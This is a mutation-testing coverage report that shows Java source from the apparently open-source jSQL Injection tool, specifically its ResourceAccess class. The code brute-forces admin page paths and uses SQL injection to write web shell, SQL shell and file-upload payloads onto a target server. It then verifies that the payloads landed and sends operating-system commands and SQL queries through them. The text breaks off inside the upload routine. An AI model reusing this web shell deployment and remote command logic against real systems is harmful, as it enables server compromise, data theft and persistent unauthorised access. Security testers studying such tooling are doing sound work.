1 | /******************************************************************************* | |
2 | * Copyhacked (H) 2012-2020. | |
3 | * This program and the accompanying materials | |
4 | * are made available under no term at all, use it like | |
5 | * you want, but share and discuss about it | |
6 | * every time possible with every body. | |
7 | * | |
8 | * Contributors: | |
9 | * ron190 at ymail dot com - initial implementation | |
10 | ******************************************************************************/ | |
11 | package com.jsql.model.accessible; | |
12 | ||
13 | import com.jsql.model.InjectionModel; | |
14 | import com.jsql.model.bean.database.AbstractElementDatabase; | |
15 | import com.jsql.model.bean.util.Header; | |
16 | import com.jsql.model.bean.util.Interaction; | |
17 | import com.jsql.model.bean.util.Request; | |
18 | import com.jsql.model.exception.JSqlException; | |
19 | import com.jsql.model.suspendable.SuspendableGetRows; | |
20 | import com.jsql.util.ConnectionUtil; | |
21 | import com.jsql.util.LogLevelUtil; | |
22 | import com.jsql.util.StringUtil; | |
23 | import org.apache.commons.lang3.StringUtils; | |
24 | import org.apache.logging.log4j.LogManager; | |
25 | import org.apache.logging.log4j.Logger; | |
26 | ||
27 | import java.io.File; | |
28 | import java.io.FileInputStream; | |
29 | import java.io.IOException; | |
30 | import java.io.InputStream; | |
31 | import java.net.URI; | |
32 | import java.net.URLEncoder; | |
33 | import java.net.http.HttpRequest; | |
34 | import java.net.http.HttpRequest.BodyPublishers; | |
35 | import java.net.http.HttpResponse; | |
36 | import java.net.http.HttpResponse.BodyHandlers; | |
37 | import java.nio.charset.StandardCharsets; | |
38 | import java.nio.file.Files; | |
39 | import java.nio.file.Paths; | |
40 | import java.time.Duration; | |
41 | import java.util.*; | |
42 | import java.util.concurrent.*; | |
43 | import java.util.function.BiFunction; | |
44 | import java.util.regex.Pattern; | |
45 | ||
46 | /** | |
47 | * Resource access object. | |
48 | * Get information from file system, commands, webpage. | |
49 | */ | |
50 | public class ResourceAccess { | |
51 | | |
52 | /** | |
53 | * Log4j logger sent to view. | |
54 | */ | |
55 | private static final Logger LOGGER = LogManager.getRootLogger(); | |
56 | ||
57 | /** | |
58 | * File name for web shell. | |
59 | */ | |
60 | public final String filenameWebshell; | |
61 | | |
62 | /** | |
63 | * File name for sql shell. | |
64 | */ | |
65 | public final String filenameSqlshell; | |
66 | | |
67 | /** | |
68 | * File name for upload form. | |
69 | */ | |
70 | public final String filenameUpload; | |
71 | | |
72 | /** | |
73 | * True if admin page should stop, false otherwise. | |
74 | */ | |
75 | private boolean isSearchAdminStopped = false; | |
76 | | |
77 | /** | |
78 | * True if scan list should stop, false otherwise. | |
79 | */ | |
80 | private boolean isScanStopped = false; | |
81 | ||
82 | /** | |
83 | * True if ongoing file reading must stop, false otherwise. | |
84 | * If true any new file read is cancelled at start. | |
85 | */ | |
86 | private boolean isSearchFileStopped = false; | |
87 | ||
88 | /** | |
89 | * List of ongoing jobs. | |
90 | */ | |
91 | private final List<CallableFile> callablesReadFile = new ArrayList<>(); | |
92 | ||
93 | private static final String MSG_EMPTY_PAYLOAD = "payload integrity check: empty payload"; | |
94 | ||
95 | private final InjectionModel injectionModel; | |
96 | ||
97 | public ResourceAccess(InjectionModel injectionModel) { | |
98 | | |
99 | this.injectionModel = injectionModel; | |
100 | | |
101 | this.filenameWebshell = "." + this.injectionModel.getVersionJsql() + ".jw.php"; | |
102 | this.filenameSqlshell = "." + this.injectionModel.getVersionJsql() + ".js.php"; | |
103 | this.filenameUpload = "." + this.injectionModel.getVersionJsql() + ".ju.php"; | |
104 | } | |
105 | ||
106 | /** | |
107 | * Check if every page in the list responds 200 Success. | |
108 | * | |
109 | * @param urlInjection | |
110 | * @param pageNames List of admin pages to test | |
111 | * @return | |
112 | */ | |
113 | public int createAdminPages(String urlInjection, List<String> pageNames) { | |
114 | ||
115 | var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection); | |
116 | matcher.find(); | |
117 | String urlProtocol = matcher.group(1); | |
118 | String urlWithoutProtocol = matcher.group(3); | |
119 | ||
120 | List<String> folderSplits = new ArrayList<>(); | |
121 | ||
122 | // Hostname only | |
123 |
2
1. createAdminPages : negated conditional → NO_COVERAGE 2. createAdminPages : negated conditional → NO_COVERAGE |
if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) { |
124 | urlWithoutProtocol = "/dummy"; | |
125 | } | |
126 | ||
127 | String[] splits = urlWithoutProtocol.split("/", -1); | |
128 |
1
1. createAdminPages : Replaced integer subtraction with addition → NO_COVERAGE |
String[] folderNames = Arrays.copyOf(splits, splits.length - 1); |
129 | for (String folderName: folderNames) { | |
130 | folderSplits.add(folderName +"/"); | |
131 | } | |
132 | ||
133 | ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage"); | |
134 | CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor); | |
135 | ||
136 | var urlPart = new StringBuilder(); | |
137 | ||
138 | for (String segment: folderSplits) { | |
139 | ||
140 | urlPart.append(segment); | |
141 | ||
142 | for (String pageName: pageNames) { | |
143 | taskCompletionService.submit( | |
144 | new CallableHttpHead( | |
145 | urlProtocol + urlPart + pageName, | |
146 | this.injectionModel, | |
147 | "check:page" | |
148 | ) | |
149 | ); | |
150 | } | |
151 | } | |
152 | ||
153 | var nbAdminPagesFound = 0; | |
154 |
1
1. createAdminPages : Replaced integer multiplication with division → NO_COVERAGE |
int submittedTasks = folderSplits.size() * pageNames.size(); |
155 | int tasksHandled; | |
156 | ||
157 | for ( | |
158 | tasksHandled = 0 | |
159 |
3
1. createAdminPages : changed conditional boundary → NO_COVERAGE 2. createAdminPages : negated conditional → NO_COVERAGE 3. createAdminPages : negated conditional → NO_COVERAGE |
; tasksHandled < submittedTasks && !this.isSearchAdminStopped() |
160 | ; tasksHandled++ | |
161 | ) { | |
162 | nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound); | |
163 | } | |
164 | ||
165 |
1
1. createAdminPages : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE |
this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor); |
166 |
1
1. createAdminPages : removed call to com/jsql/model/accessible/ResourceAccess::setSearchAdminStopped → NO_COVERAGE |
this.setSearchAdminStopped(false); |
167 |
1
1. createAdminPages : removed call to com/jsql/model/accessible/ResourceAccess::logSearchAdminPage → NO_COVERAGE |
this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled); |
168 | ||
169 | var request = new Request(); | |
170 |
1
1. createAdminPages : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.END_ADMIN_SEARCH); |
171 |
1
1. createAdminPages : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
172 | ||
173 |
1
1. createAdminPages : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::createAdminPages → NO_COVERAGE |
return nbAdminPagesFound; |
174 | } | |
175 | ||
176 | public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) { | |
177 | | |
178 | int nbAdminPagesFoundFixed = nbAdminPagesFound; | |
179 | | |
180 | try { | |
181 | CallableHttpHead currentCallable = taskCompletionService.take().get(); | |
182 | | |
183 |
1
1. callAdminPage : negated conditional → NO_COVERAGE |
if (currentCallable.isHttpResponseOk()) { |
184 | | |
185 | var request = new Request(); | |
186 |
1
1. callAdminPage : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB); |
187 |
1
1. callAdminPage : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(currentCallable.getUrl()); |
188 |
1
1. callAdminPage : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
189 | ||
190 |
1
1. callAdminPage : Changed increment from 1 to -1 → NO_COVERAGE |
nbAdminPagesFoundFixed++; |
191 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl()); | |
192 | } | |
193 | } catch (InterruptedException e) { | |
194 | | |
195 | LOGGER.log(LogLevelUtil.IGNORE, e, e); | |
196 |
1
1. callAdminPage : removed call to java/lang/Thread::interrupt → NO_COVERAGE |
Thread.currentThread().interrupt(); |
197 | | |
198 | } catch (ExecutionException e) { | |
199 | LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e); | |
200 | } | |
201 | | |
202 |
1
1. callAdminPage : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::callAdminPage → NO_COVERAGE |
return nbAdminPagesFoundFixed; |
203 | } | |
204 | ||
205 | public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) { | |
206 | | |
207 | var result = String.format( | |
208 | "Found %s admin page%s%s on %s page%s", | |
209 | nbAdminPagesFound, | |
210 |
2
1. logSearchAdminPage : negated conditional → NO_COVERAGE 2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE |
nbAdminPagesFound > 1 ? 's' : StringUtils.EMPTY, |
211 |
1
1. logSearchAdminPage : negated conditional → NO_COVERAGE |
tasksHandled != submittedTasks ? " of "+ tasksHandled +" processed" : StringUtils.EMPTY, |
212 | submittedTasks, | |
213 |
2
1. logSearchAdminPage : negated conditional → NO_COVERAGE 2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE |
submittedTasks > 1 ? 's' : StringUtils.EMPTY |
214 | ); | |
215 | | |
216 |
2
1. logSearchAdminPage : negated conditional → NO_COVERAGE 2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE |
if (nbAdminPagesFound > 0) { |
217 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result); | |
218 | } else { | |
219 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result); | |
220 | } | |
221 | } | |
222 | ||
223 | public void createWebShell(String pathShell, String urlShell) throws JSqlException { | |
224 | ||
225 | BiFunction<String, String, Request> biFunctionGetRequest = (String pathShellFixed, String urlSuccess) -> { | |
226 | var request = new Request(); | |
227 |
1
1. lambda$createWebShell$0 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.CREATE_SHELL_TAB); |
228 |
1
1. lambda$createWebShell$0 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters( |
229 | pathShellFixed.replace(this.filenameWebshell, StringUtils.EMPTY), | |
230 | urlSuccess | |
231 | ); | |
232 |
1
1. lambda$createWebShell$0 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$createWebShell$0 → NO_COVERAGE |
return request; |
233 | }; | |
234 | ||
235 |
1
1. createWebShell : removed call to com/jsql/model/accessible/ResourceAccess::createShell → NO_COVERAGE |
createShell(pathShell, urlShell, "shell.web", this.filenameWebshell, biFunctionGetRequest); |
236 | } | |
237 | ||
238 | public void createSqlShell(String pathShell, String urlShell, String username, String password) throws JSqlException { | |
239 | ||
240 | BiFunction<String, String, Request> biFunctionGetRequest = (String pathShellFixed, String urlSuccess) -> { | |
241 | var request = new Request(); | |
242 |
1
1. lambda$createSqlShell$1 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.CREATE_SQL_SHELL_TAB); |
243 |
1
1. lambda$createSqlShell$1 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters( |
244 | pathShellFixed.replace(this.filenameSqlshell, StringUtils.EMPTY), | |
245 | urlSuccess, | |
246 | username, | |
247 | password | |
248 | ); | |
249 |
1
1. lambda$createSqlShell$1 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$createSqlShell$1 → NO_COVERAGE |
return request; |
250 | }; | |
251 | ||
252 |
1
1. createSqlShell : removed call to com/jsql/model/accessible/ResourceAccess::createShell → NO_COVERAGE |
createShell(pathShell, urlShell, "shell.sql", this.filenameSqlshell, biFunctionGetRequest); |
253 | } | |
254 | ||
255 | /** | |
256 | * Create shell on remote server | |
257 | * @param pathShell Script to create on the server | |
258 | * @param urlShell URL for the script (used for url rewriting) | |
259 | */ | |
260 | public void createShell( | |
261 | String pathShell, | |
262 | String urlShell, | |
263 | String property, | |
264 | String filename, | |
265 | BiFunction<String, String, Request> biFunctionGetRequest | |
266 | ) throws JSqlException { | |
267 | ||
268 |
1
1. createShell : negated conditional → NO_COVERAGE |
if (this.isReadingNotAllowed()) { |
269 | return; | |
270 | } | |
271 | ||
272 | String bodyShell = StringUtil.base64Decode( | |
273 | this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperties().getProperty(property) | |
274 | ) | |
275 | .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) | |
276 | .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); | |
277 | ||
278 | String pathShellFixed = pathShell; | |
279 |
1
1. createShell : negated conditional → NO_COVERAGE |
if (!pathShellFixed.matches(".*/$")) { |
280 | pathShellFixed += "/"; | |
281 | } | |
282 | ||
283 | this.injectionModel.injectWithoutIndex( | |
284 | this.injectionModel | |
285 | .getMediatorVendor() | |
286 | .getVendor() | |
287 | .instance() | |
288 | .sqlTextIntoFile(bodyShell, pathShellFixed + filename), | |
289 | "shell:create" | |
290 | ); | |
291 | ||
292 | String resultInjection; | |
293 | var sourcePage = new String[]{ StringUtils.EMPTY }; | |
294 | try { | |
295 | resultInjection = new SuspendableGetRows(this.injectionModel).run( | |
296 | this.injectionModel.getMediatorVendor().getVendor().instance().sqlFileRead(pathShellFixed + filename), | |
297 | sourcePage, | |
298 | false, | |
299 | 1, | |
300 | AbstractElementDatabase.MOCK, | |
301 | "shell:read" | |
302 | ); | |
303 | ||
304 |
1
1. createShell : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(resultInjection)) { |
305 | throw new JSqlException(MSG_EMPTY_PAYLOAD); | |
306 | } | |
307 | } catch (JSqlException e) { | |
308 | throw new JSqlException("injected payload does not match source", e); | |
309 | } | |
310 | ||
311 | String urlShellFixed = urlShell; | |
312 | ||
313 |
1
1. createShell : negated conditional → NO_COVERAGE |
if (!urlShellFixed.isEmpty()) { |
314 | urlShellFixed = urlShellFixed.replaceAll("/*$", StringUtils.EMPTY) +"/"; | |
315 | } | |
316 | ||
317 | String url = urlShellFixed; | |
318 |
1
1. createShell : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(url)) { |
319 | url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase(); | |
320 | } | |
321 | ||
322 |
1
1. createShell : negated conditional → NO_COVERAGE |
if (!resultInjection.contains(bodyShell)) { |
323 | throw this.getIntegrityError(sourcePage); | |
324 | } | |
325 | ||
326 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Payload created into '{}{}'", pathShellFixed, filename); | |
327 | String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY); | |
328 | String urlProtocol; | |
329 | ||
330 |
1
1. createShell : negated conditional → NO_COVERAGE |
if ("/".equals(urlWithoutProtocol)) { |
331 | urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY); | |
332 | } else { | |
333 | urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY); | |
334 | } | |
335 | ||
336 | String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/"); | |
337 | ||
338 | List<String> directoryNames = new ArrayList<>(); | |
339 |
1
1. createShell : negated conditional → NO_COVERAGE |
if (urlWithoutFileName.split("/").length == 0) { |
340 | directoryNames.add("/"); | |
341 | } | |
342 | ||
343 | for (String directoryName: urlWithoutFileName.split("/")) { | |
344 | directoryNames.add(directoryName +"/"); | |
345 | } | |
346 | ||
347 | String urlSuccess = getShellUrl(filename, directoryNames, urlProtocol); | |
348 | ||
349 |
1
1. createShell : negated conditional → NO_COVERAGE |
if (urlSuccess != null) { |
350 | ||
351 | var request = biFunctionGetRequest.apply(filename, urlSuccess); | |
352 |
1
1. createShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
353 | ||
354 | } else { | |
355 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Payload not found"); | |
356 | } | |
357 | } | |
358 | ||
359 | private String getShellUrl(String filename, List<String> directoryNames, String urlProtocol) { | |
360 | ||
361 | ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableCreateShell"); | |
362 | CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor); | |
363 | var urlPart = new StringBuilder(); | |
364 | ||
365 | for (String segment: directoryNames) { | |
366 | ||
367 | urlPart.append(segment); | |
368 | taskCompletionService.submit( | |
369 | new CallableHttpHead( | |
370 | urlProtocol + urlPart + filename, | |
371 | this.injectionModel, | |
372 | "shell#confirm" | |
373 | ) | |
374 | ); | |
375 | } | |
376 | ||
377 | int submittedTasks = directoryNames.size(); | |
378 | String urlSuccess = null; | |
379 | ||
380 |
2
1. getShellUrl : changed conditional boundary → NO_COVERAGE 2. getShellUrl : negated conditional → NO_COVERAGE |
for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) { |
381 | try { | |
382 | CallableHttpHead currentCallable = taskCompletionService.take().get(); | |
383 | ||
384 |
1
1. getShellUrl : negated conditional → NO_COVERAGE |
if (currentCallable.isHttpResponseOk()) { |
385 | ||
386 | urlSuccess = currentCallable.getUrl(); | |
387 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Payload found: {}", urlSuccess); | |
388 | ||
389 | } else { | |
390 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Payload not found: {}", currentCallable.getUrl()); | |
391 | } | |
392 | } catch (InterruptedException e) { | |
393 | ||
394 | LOGGER.log(LogLevelUtil.IGNORE, e, e); | |
395 |
1
1. getShellUrl : removed call to java/lang/Thread::interrupt → NO_COVERAGE |
Thread.currentThread().interrupt(); |
396 | ||
397 | } catch (ExecutionException e) { | |
398 | LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e); | |
399 | } | |
400 | } | |
401 | ||
402 |
1
1. getShellUrl : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE |
this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor); |
403 | ||
404 |
1
1. getShellUrl : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getShellUrl → NO_COVERAGE |
return urlSuccess; |
405 | } | |
406 | ||
407 | /** | |
408 | * | |
409 | * @param urlCommand | |
410 | * @return | |
411 | */ | |
412 | public String runCommandShell(String urlCommand) { | |
413 | | |
414 | String pageSource; | |
415 | try { | |
416 | pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand); | |
417 | } catch (Exception e) { | |
418 | pageSource = StringUtils.EMPTY; | |
419 | } | |
420 | | |
421 | var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*)<"+ DataAccess.TRAIL +">").matcher(pageSource); | |
422 | regexSearch.find(); | |
423 | ||
424 | String result; | |
425 | | |
426 | // IllegalStateException #1544: catch incorrect execution | |
427 | try { | |
428 | result = regexSearch.group(1); | |
429 | } catch (IllegalStateException e) { | |
430 | | |
431 | // Fix return null from regex | |
432 | result = StringUtils.EMPTY; | |
433 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect response from Web shell"); | |
434 | } | |
435 | | |
436 | return result; | |
437 | } | |
438 | | |
439 | /** | |
440 | * Run a shell command on host. | |
441 | * @param command The command to execute | |
442 | * @param uuidShell An unique identifier for terminal | |
443 | * @param urlShell Web path of the shell | |
444 | */ | |
445 | public String runWebShell(String command, UUID uuidShell, String urlShell) { | |
446 | | |
447 | String result = this.runCommandShell( | |
448 | urlShell + "?c="+ URLEncoder.encode(command.trim(), StandardCharsets.ISO_8859_1) | |
449 | ); | |
450 | ||
451 |
1
1. runWebShell : negated conditional → NO_COVERAGE |
if (StringUtils.isBlank(result)) { |
452 | // TODO Payload should redirect directly error to normal output | |
453 | result = "No result.\nTry '"+ command.trim() +" 2>&1' to get a system error message.\n"; | |
454 | } | |
455 | ||
456 | // Unfroze interface | |
457 | var request = new Request(); | |
458 |
1
1. runWebShell : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.GET_WEB_SHELL_RESULT); |
459 |
1
1. runWebShell : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(uuidShell, result); |
460 |
1
1. runWebShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
461 | ||
462 |
1
1. runWebShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE |
return result; |
463 | } | |
464 | ||
465 | /** | |
466 | * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers. | |
467 | * @param command SQL request to execute | |
468 | * @param uuidShell Identifier of terminal sending the request | |
469 | * @param urlShell URL to send SQL request against | |
470 | * @param username User name [optional] | |
471 | * @param password USEr password [optional] | |
472 | */ | |
473 | public String runSqlShell(String command, UUID uuidShell, String urlShell, String username, String password) { | |
474 | | |
475 | String result = this.runCommandShell( | |
476 | String.format( | |
477 | "%s?q=%s&u=%s&p=%s", | |
478 | urlShell, | |
479 | URLEncoder.encode(command.trim(), StandardCharsets.ISO_8859_1), | |
480 | username, | |
481 | password | |
482 | ) | |
483 | ); | |
484 | | |
485 |
1
1. runSqlShell : negated conditional → NO_COVERAGE |
if (result.contains("<SQLr>")) { |
486 | ||
487 | List<List<String>> listRows = this.parse(result); | |
488 | ||
489 |
1
1. runSqlShell : negated conditional → NO_COVERAGE |
if (listRows.isEmpty()) { |
490 | return StringUtils.EMPTY; | |
491 | } | |
492 | ||
493 | List<Integer> listFieldsLength = this.parseColumnLength(listRows); | |
494 | result = this.convert(listRows, listFieldsLength); | |
495 | ||
496 |
1
1. runSqlShell : negated conditional → NO_COVERAGE |
} else if (result.contains("<SQLm>")) { |
497 | result = result.replace("<SQLm>", StringUtils.EMPTY) + "\n"; | |
498 |
1
1. runSqlShell : negated conditional → NO_COVERAGE |
} else if (result.contains("<SQLe>")) { |
499 | result = result.replace("<SQLe>", StringUtils.EMPTY) + "\n"; | |
500 | } | |
501 | ||
502 | // Unfroze interface | |
503 | var request = new Request(); | |
504 |
1
1. runSqlShell : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.GET_SQL_SHELL_RESULT); |
505 |
1
1. runSqlShell : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(uuidShell, result, command); |
506 |
1
1. runSqlShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
507 | ||
508 |
1
1. runSqlShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE |
return result; |
509 | } | |
510 | ||
511 | private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) { | |
512 | | |
513 | var tableText = new StringBuilder("+"); | |
514 | | |
515 | for (Integer fieldLength: listFieldsLength) { | |
516 | tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+"); | |
517 | } | |
518 | | |
519 | tableText.append("\n"); | |
520 | ||
521 | for (List<String> listFields: listRows) { | |
522 | | |
523 | tableText.append("|"); | |
524 | var cursorPosition = 0; | |
525 | | |
526 | for (String field: listFields) { | |
527 | | |
528 | tableText.append(StringUtils.SPACE) | |
529 | .append(field) | |
530 |
1
1. convert : Replaced integer subtraction with addition → NO_COVERAGE |
.append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length())) |
531 | .append(" |"); | |
532 |
1
1. convert : Changed increment from 1 to -1 → NO_COVERAGE |
cursorPosition++; |
533 | } | |
534 | | |
535 | tableText.append("\n"); | |
536 | } | |
537 | ||
538 | tableText.append("+"); | |
539 | | |
540 | for (Integer fieldLength: listFieldsLength) { | |
541 | tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+"); | |
542 | } | |
543 | | |
544 | tableText.append("\n"); | |
545 | | |
546 |
1
1. convert : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::convert → NO_COVERAGE |
return tableText.toString(); |
547 | } | |
548 | ||
549 | private List<Integer> parseColumnLength(List<List<String>> listRows) { | |
550 | | |
551 | List<Integer> listFieldsLength = new ArrayList<>(); | |
552 | | |
553 | for ( | |
554 | var indexLongestRowSearch = 0; | |
555 |
2
1. parseColumnLength : changed conditional boundary → NO_COVERAGE 2. parseColumnLength : negated conditional → NO_COVERAGE |
indexLongestRowSearch < listRows.get(0).size(); |
556 | indexLongestRowSearch++ | |
557 | ) { | |
558 | int indexLongestRowSearchFinal = indexLongestRowSearch; | |
559 | | |
560 |
1
1. parseColumnLength : removed call to java/util/List::sort → NO_COVERAGE |
listRows.sort( |
561 |
2
1. lambda$parseColumnLength$2 : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::lambda$parseColumnLength$2 → NO_COVERAGE 2. lambda$parseColumnLength$2 : Replaced integer subtraction with addition → NO_COVERAGE |
(firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length() |
562 | ); | |
563 | ||
564 | listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length()); | |
565 | } | |
566 | | |
567 |
1
1. parseColumnLength : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parseColumnLength → NO_COVERAGE |
return listFieldsLength; |
568 | } | |
569 | ||
570 | private List<List<String>> parse(String result) { | |
571 | | |
572 | List<List<String>> listRows = new ArrayList<>(); | |
573 | var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result); | |
574 | | |
575 |
1
1. parse : negated conditional → NO_COVERAGE |
while (rowsMatcher.find()) { |
576 | | |
577 | String values = rowsMatcher.group(1); | |
578 | ||
579 | var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values); | |
580 | List<String> listFields = new ArrayList<>(); | |
581 | listRows.add(listFields); | |
582 | | |
583 |
1
1. parse : negated conditional → NO_COVERAGE |
while (fieldsMatcher.find()) { |
584 | | |
585 | String field = fieldsMatcher.group(1); | |
586 | listFields.add(field); | |
587 | } | |
588 | } | |
589 | | |
590 |
1
1. parse : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parse → NO_COVERAGE |
return listRows; |
591 | } | |
592 | ||
593 | /** | |
594 | * Upload a file to the server. | |
595 | * @param pathFile Remote path of the file to upload | |
596 | * @param urlFile URL of uploaded file | |
597 | * @param file File to upload | |
598 | * @throws JSqlException | |
599 | * @throws IOException | |
600 | * @throws InterruptedException | |
601 | */ | |
602 | public void uploadFile(String pathFile, String urlFile, File file) throws JSqlException, IOException, InterruptedException { | |
603 | | |
604 |
1
1. uploadFile : negated conditional → NO_COVERAGE |
if (this.isReadingNotAllowed()) { |
605 | return; | |
606 | } | |
607 | | |
608 | String bodyShell = StringUtil.base64Decode( | |
609 | this.injectionModel.getMediatorUtils() | |
610 | .getPropertiesUtil() | |
611 | .getProperties() | |
612 | .getProperty("shell.upload") | |
613 | ) | |
614 | .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD); | |
615 | | |
616 | String pathShellFixed = pathFile; | |
617 | | |
618 |
1
1. uploadFile : negated conditional → NO_COVERAGE |
if (!pathShellFixed.matches(".*/$")) { |
619 | pathShellFixed += "/"; | |
620 | } | |
621 | | |
622 | this.injectionModel.injectWithoutIndex( | |
623 | this.injectionModel.getMediatorVendor() | |
624 | .getVendor() | |
625 | .instance() | |
626 | .sqlTextIntoFile( | |
627 | "<"+ DataAccess.LEAD +">"+ bodyShell +"<"+ DataAccess.TRAIL +">", | |
628 | pathShellFixed + this.filenameUpload | |
629 | ), | |
630 | "upload" | |
631 | ); | |
632 | ||
633 | var sourcePage = new String[]{ StringUtils.EMPTY }; | |
634 | String bodyShellInjected; | |
635 | | |
636 | try { | |
637 | bodyShellInjected = new SuspendableGetRows(this.injectionModel).run( | |
638 | this.injectionModel.getMediatorVendor().getVendor().instance().sqlFileRead(pathShellFixed + this.filenameUpload), | |
639 | sourcePage, | |
640 | false, | |
641 | 1, | |
642 | AbstractElementDatabase.MOCK, | |
643 | "upload" | |
644 | ); | |
645 | | |
646 |
1
1. uploadFile : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(bodyShellInjected)) { |
647 | throw new JSqlException(MSG_EMPTY_PAYLOAD); | |
648 | } | |
649 | } catch (JSqlException e) { | |
650 | throw this.getIntegrityError(sourcePage); | |
651 | } | |
652 | ||
653 | String urlFileFixed = urlFile; | |
654 |
1
1. uploadFile : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlFileFixed)) { |
655 | urlFileFixed = this.injectionModel.getMediatorUtils() | |
656 | .getConnectionUtil() | |
657 | .getUrlBase() | |
658 | .substring( | |
659 | 0, | |
660 |
1
1. uploadFile : Replaced integer addition with subtraction → NO_COVERAGE |
this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase().lastIndexOf('/') + 1 |
661 | ); | |
662 | } | |
663 | | |
664 |
1
1. uploadFile : negated conditional → NO_COVERAGE |
if (bodyShellInjected.contains(bodyShell)) { |
665 | | |
666 | String logUrlFileFixed = urlFileFixed; | |
667 | String logPathShellFixed = pathShellFixed; | |
668 | LOGGER.log( | |
669 | LogLevelUtil.CONSOLE_SUCCESS, | |
670 | "Upload payload deployed at '{}{}' in '{}{}'", | |
671 |
1
1. lambda$uploadFile$3 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$3 → NO_COVERAGE |
